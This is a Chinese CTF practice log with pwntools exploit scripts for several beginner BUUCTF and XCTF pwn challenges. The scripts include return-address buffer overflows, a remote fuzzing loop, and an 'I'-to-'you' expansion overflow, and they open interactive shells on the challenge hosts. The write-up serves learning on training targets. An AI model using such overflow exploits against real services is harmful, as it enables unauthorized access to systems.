BUUCTF | pwn 刷题记录
BUUCTF | test_your_nc
BUUCTF | rip
从IDA和远程的链接可以看出问题,IDA(或者说在本地跑时,先接收一句话,后输入点),而远程的输入点提前了,所以写脚本时要注意
问题解决:ret+1
参考
http://blog.eonew.cn/archives/958
from pwn import *
#context.log_level='debug'
p = remote('node3.buuoj.cn', 28164)
#p = process('/pwn1')
payload = 'a' * (0xf + 8) + p64(0x401186+1)
p.sendline(payload)
p.interactive()
BUUCTF | warmup_csaw_2016
checksec 没有任何保护
from pwn import *
context.log_level='debug'
p = remote('node3.buuoj.cn', 26028)
#p =process('./warmup_csaw_2016')
p.recvuntil('\n')
p.recvuntil('WOW:')
a=p.recvuntil('\n').strip('\n')
b=int(a,16)
payload = 'a' * (0x40 + 8) + p64(b)
p.send(payload)
p.interactive()
xctf | warmup
#coding:utf8
from pwn import *
# context.log_level = 'debug'
def send_fuzz(p, num, type):
payload = 'A'*num
if type == 1:
payload += p32(addr)
if type == 2:
payload += p64(addr)
p.sendlineafter('>', payload)
def main():
for i in range (0x100):
for j in range(3):
p = remote("220.249.52.133",32497)
try:
send_fuzz(p, i+1, j)
r = p.recv()
print('recv::length='+ str(len(r)) +',content=\''+r+'\'\n')
p.interactive()
except:
p.close()
def get_addr():
p = remote("220.249.52.133",32497)
p.recvuntil('\n')
p.recvuntil('WOW:')
a=p.recvuntil('\n').strip('\n')
num=int(a,16)
return num
addr=get_addr()
main()
BUUCTF | pwn1_sctf_2016
这种方法类似是对'I'进行过滤定向替换成'you'(想起了服务器对>以及php发的过滤,有点跑题),这种替换回填这解决了我们的栈空间控制问题,输入的少,但转化之后控制的多
0x3c=48+12=60=>20*3(基于'I'=》'you') 20*'I'+'bbbb'+ret满足输入的个数,这样构造即可
from pwn import *
#context.log_level='debug'
#p=process('./pwn1_sctf_2016')
p=remote("node3.buuoj.cn",25348)
#p.recvuntil('Tell me something about yourself: ') //远端测试后是先接收后输出
addr=0x08048f0d
payload=20*'I'+'bbbb'+p32(addr)
p.sendline(payload)
p.interactive()
在线的类IDA
官网
其实是一个在线的反编译软件,感兴趣的可以试试,界面真的很好,但是功能上还是IDA香
zer0_1s